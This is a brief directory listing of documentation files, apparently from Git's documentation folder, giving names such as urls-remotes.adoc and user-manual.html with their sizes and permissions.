trace2-target-values.adoc File 529 B 0644
transfer-data-leaks.adoc File 1.67 KB 0644
urls-remotes.adoc File 4.33 KB 0644
urls.adoc File 3.38 KB 0644
user-manual.adoc File 170.59 KB 0644
user-manual.html File 275.1 KB 0644